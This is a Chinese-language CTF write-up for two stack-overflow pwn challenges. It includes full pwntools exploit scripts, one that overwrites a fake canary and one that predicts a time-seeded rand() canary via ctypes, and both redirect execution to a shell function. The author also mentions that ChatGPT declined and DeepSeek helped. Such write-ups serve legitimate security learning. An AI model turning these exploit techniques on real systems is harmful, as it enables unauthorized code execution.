前情提要
栈溢出漏洞,简单的校验逻辑,但很容易被唬住,需要一点耐心。
题目分析
你可以轻易爆破我们的系统,但是一个不可泄露的“canary”你又该如何应对?
你可能需要使用 Python ctypes 包来直接调用 C 库函数。
本题解法与时间有关,如果你出现本地能通远程不通的情况,请多试几次。
一般来说,这类pwn题没有多余的提示,先不管它,对比一下两个程序IDA反编译的源码:
boom:
boom_revenge:
共有的shell函数:
俩程序几乎一样,只是在v5、v6和canary的校验上有所区别,其中第一种就很容易绕过(人为实现的假canary),无非是在覆盖栈时另v6为0即可跳过exit(1),最后返回去执行我们覆盖的shell函数,exploit如下:
from pwn import *#context.log_level = 'debug'
p=process('./pwn')
#p=connect('10.21.199.226', 52321)p.recvuntil(b'(y/n)')
p.sendline(b'y')payload = b'a'*124 #覆盖数组s
payload += b'b'*16 #覆盖v5
payload += p32(0x0) #覆盖v6,其值须为0
payload += b'c'*8 #覆盖rbp
payload += p64(0x40127e) #覆盖返回地址,注意需要直接返回到shell函数本身,否则会EOF
p.sendlineafter(b'Enter your message: ', payload)p.interactive()
由于这个解不涉及时间问题,因此不需要多试。
deepseek真好用:)
对于boom_revenge,由于v5和canary是单独校验,没v6的事,因此不能用上一种方法。但是不会真有人去爆破吧?第一次看见时间相关的这种,我也研究了好一会,deepseek帮大忙(OS:又是利用AI摆烂的一天)。
canary = (int)random() % 114514的本地C逻辑:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>int main() {srand(time(NULL)); // 设置种子为当前时间int canary = rand() % 114514;printf("Canary: %d\n", canary);return 0;
}
对应的python:
from ctypes import CDLL
import timelibc = CDLL('libc.so.6')
libc.srand(int(time.time()))
canary = libc.rand() % 114514
print(f"Python predicted: {canary}")
因此exploit:
from pwn import *
from ctypes import CDLL
import time#context.log_level = 'debug'
p=process('./pwn2')
#p=connect('10.21.199.226', 52321)p.recvuntil(b'(y/n)')
p.sendline(b'y')libc = CDLL('libc.so.6')
current_time = int(time.time())
libc.srand(current_time)
predicted_canary = libc.rand() % 114514payload = b'a'*124
payload += p32(predicted_canary) #16字节拆分为4+12,小端写入v5的值
payload += b'b'*12
payload += p32(0x1)
payload += b'c'*8
payload += p64(0x40127e)
p.sendlineafter(b'Enter your message: ', payload)p.interactive()
但是,但是,但是,要是发远程,由于服务器延迟,需要微调时间,我调了一会,大概是current_time = int(time.time()) - 2即可(必须要有,不然会一直不成功)。
最后吐个槽,以往百用百灵的chatgpt今天那破政策搞得啥都不肯跟我说,deepseek WIN!